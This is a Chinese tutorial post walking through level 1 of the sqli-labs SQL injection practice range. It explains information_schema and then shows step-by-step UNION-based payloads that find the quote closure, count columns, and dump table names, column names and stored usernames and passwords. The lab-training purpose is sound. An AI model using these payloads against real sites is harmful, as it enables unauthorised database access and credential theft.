Sql-labs的第一关

news2024/10/5 17:28:54

前言

我们在使用Sql-libs靶场进行Sql注入实验的时候,前提要求我们对mysql数据库结构要有一个大概的了解,因为mysql5.0以上的版本都会自带一个名为information_schema的数据库,这个数据库下面会有columns和tables两个表。
tables这个表的table_name字段下面包含了所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库,了解了这些后会对我们进行Sql注入的时候有很大的帮助。

一、Sql注入的原理是什么?

用户在访问web界面的时候,web程序对用户所输入的数据的合法性没有进行判断或者过滤不严格,攻击者可以利用这个漏洞,在web程序中将事先定义好的查询语句的结尾上插入额外的Sql语句,在管理员不知情的情况下实现非法操作,以此来欺骗数据库并查询自己所需要的信息,比如:用户的密码和账号等

二、Sql的注入过程

在这里插入图片描述

1.Sql-lis第一关

判断是否存在sql注入?

1.提示我们输入id,输入?id=1,在数据库中查询到如下字段
在这里插入图片描述
2.通过输入的id的值不同,我们发现返回的内容会不同
在这里插入图片描述
3.判断注入的类型,是否为拼接,并且是字符型还是符号型
我们可以输入?id=1\,通过加 \ 的方式判断闭合,\后面的符号就是闭合符号,见页面出现错误,即位字符型
在这里插入图片描述
输入?id=1‘ 报错
在这里插入图片描述
在上述字段后加入–+,显示正常,说明是单引号 ’ 闭合
在这里插入图片描述
4.判断字段数
输入’ order by 3 --+,可见正常
输入’ order by 4–+ 报错,说明只有三个字段
在这里插入图片描述
在这里插入图片描述
5.联合查询7
因为字段数为3,所以使用 union select 1,2,3进行查询 ,判断回显点
在这里插入图片描述
我们可以将上述语句的2或者3改成database()来显示数据库名
在这里插入图片描述
6.联表查询,爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述
7.爆字段名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
8.爆字段中的内容
根据上一步爆出的字段名usernmae,password进行查询即可

union select 1,2,group_concat(username,password) from users

在这里插入图片描述
至此第一关就结束了,第二关与第一关的步骤相同,不同的是第二关是数字型注入

总结

	Sql注入要求我们对数据库的结构要有一个大概的了解,这要就能更容易去操作!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1801095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【学习笔记】Windows GDI绘图(十一)Graphics详解(下)

文章目录 Graphics的方法Graphics.FromImageSetClip设置裁切区域IntersectClip更新为相交裁切区域TranslateClip平移裁切区域IsVisible判断点或矩形是否在裁切区域内MeasureCharacterRanges测量字符区域MeasureString测量文本大小MultiplyTransform矩阵变换 Graphics的方法 Gr…

【纯血鸿蒙】——响应式布局如何实现?

前面介绍了自适应布局,但是将窗口尺寸变化较大时,仅仅依靠自适应布局可能出现图片异常放大或页面内容稀疏、留白过多等问题。此时就需要借助响应式布局能力调整页面结构。 响应式布局 响应式布局是指页面内的元素可以根据特定的特征(如窗口…

AI降重技术:革新论文查重与修改策略

AIGC降重指南:如何有效使用AI工具降低论文查重率? 论文查重和降重是确保学术成果原创性及学术诚信的关键步骤,直接影响我们的学业成果和毕业资格。传统的论文查重方法主要包括使用查重软件和个人自查,而论文降重通常涉及改写、使…

Docker中搭建likeadmin

一、使用Docker中的docker-compose搭建likeadmin 1.去网址:https://gitee.com/likeadmin/likeadmin_php中下载likeadmin 注册一个giee账号后 点那个克隆下载 按照序号在终端复制粘贴进去。 接着,输入ls 可以发现有一个这个: 里面有一个like…

数据结构复习指导之外部排序

目录 外部排序 复习提示 1.外部排序的基本概念 2.外部排序的方法 2.1对大文件排序时使用的排序算法(2016) 3.多路平衡归并与败者树 4.置换-选择排序(生成初始归并段) 4.1置换-选择排序生成初始归并段的实例(2023) 5.最佳…

单链表复习 (C语言版)

目录 一.顺序表与链表的区别 二.链表概念 三.单链表 1.单链表的开始与初始化 2.单链表的打印 3.单链表的尾插 重难点:单链表实现时的指针详解 4.单链表的头插 5.单链表的尾删 6.单链表的头删 小结: 7.单链表的查找 8.在指定位置前插入数据 …

深度学习的舌象诊断:从舌头上了解系统性疾病!

首先 深度学习算法能否解决东方医学中依靠医生经验的诊断问题?而要实现这个目标,需要什么呢? 用舌头诊断被称为口腔健康的指标,但在东方医学中,舌头也被用来评估全身的状况。换句话说,通过分析舌头的图像…

人工智能的统治:会是人类的终结吗?

使用ChatGPT运行/请求一系列提示以探索完全人工智能(AI)控制关键基础设施、自动化工厂 ( Tesla )、社交媒体 ( Meta )、SCADA和其他常见用途 (ModBUS?) 可能产生的后果后,我们进行了分析…… 以下是我们的考虑: 数据、提示和响应应被视为说明性的&…

通过影刀RPA,创建定时任务,自动获取图片验证码登录平台;

1.下载下载影刀客户端-影刀RPA - 影刀官网 2.安装,登录 3.应用创建->PC自动化应用 4.按照流程-创建【可双击或拖动】 5.保存 6.右击【创建的应用】->发版 7.选择触发器->【定时触发器】 根据提示配置 8.完成,每天平台会自动打开;…

算法学习笔记(7.7)-贪心算法(Dijkstra算法-最短路径问题)

目录 1.最短路径问题 2.Dijkstra算法介绍 3.Dijkstra算法演示 4.Dijkstra算法的代码示例 1.最短路径问题 图论中的一个经典问题,通常是指在一个加权图中找到从一个起始顶点到目标顶点的最短路径。 单源最短路径问题:给定一个加权图和一个起始顶点&…

http协议,tomcat的作用

HTTP 概念:Hyper Text Transfer Protocol,超文本传输协议,规定了浏览器和服务器之间数据传输的规则。 特点: 1.基于TCP协议:面向连接,安全 2. 基于请求-响应模型的:一次请求对应一次响应 3HTTP协议是无状态的协议:对于事务处理没有记忆能…

react学习-高阶组件

1.简介 react高阶组件是一个函数,接收一个组件作为参数,返回一个新的组件,可以用来进行组件封装,将一些公共逻辑提取到高阶组件内部。 2.基本实现 以下案例为利用高阶组件来增强props import React, { Component } from "re…

10.dockerfile自动构建镜像

dockerfile自动构建镜像 类似ansible剧本,大小几kb 手动做镜像:大小几百M 首先创建一个dockerfile的路径,便于在路径下存在多个路径每个路径下都是dockerfile命名的脚本 注释:文件必须为:dockerfile或者Dockerfile …

解决linux系统求前N月月份的bug

日常工作中,需要获取某个日期(20240531)的前N个月,通常会写命令 date -d "20240531 last-month" %Y%m 我期望得到202404 但是很意外: 经过几轮测试,发现只要月内天数超过30天,即所有…

基于Zero-shot实现LLM信息抽取

基于Zero-shot方式实现LLM信息抽取 在当今这个信息爆炸的时代,从海量的文本数据中高效地抽取关键信息显得尤为重要。随着自然语言处理(NLP)技术的不断进步,信息抽取任务也迎来了新的突破。近年来,基于Zero-shot&#x…

代码随想录——修建二叉搜素树(Leetcode669)

题目链接 递归 /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* TreeNode(int val) { this.val val; }* TreeNode(int val, TreeNode left, TreeNode right) {* …

【算法每日一练】新月轩就餐

思路: 其实很容易想到是双指针或者双端队列。 我们设置一个type表示当前区间已经有了多少种厨师,同时还需要记录区间中每个元素出现的次数,然后比较棘手的是移动问题了,什么时候移动呢? 我们可以发现当区间当队头元…

AI数据分析:用deepseek根据Excel数据绘制分裂饼形图

工作任务:要绘制下面表格中月活用户占比的分裂饼形图 在deepseek中输入提示词: 你是一个Python编程专家,要完成一个Python脚本编写的任务,具体步骤如下: 读取Excel文件"F:\AI自媒体内容\AI行业数据分析\poetop5…

Polar Web 【简单】- 被黑掉的站

Polar Web 【简单】- 被黑掉的站 Contents Polar Web 【简单】- 被黑掉的站思路EXP运行&总结 思路 如题目所述,这是一个被黑掉的站点,由此不禁要了解该黑客发现了哪些可以入手的路径,或是留下了什么样的文件供持续访问。 目录扫描该站点发…

软件测试--Linux快速入门

文章目录 软件测试-需要掌握的Linux指令Linux命令操作技巧Linx命令的基本组成常用命令 软件测试-需要掌握的Linux指令 Linux命令操作技巧 使用Tab键自动补全上下键进行翻找之前输入的命令命令执行后无法停止使用CtrC,结束屏幕输出 Linx命令的基本组成 命令 [-选项] [参数] …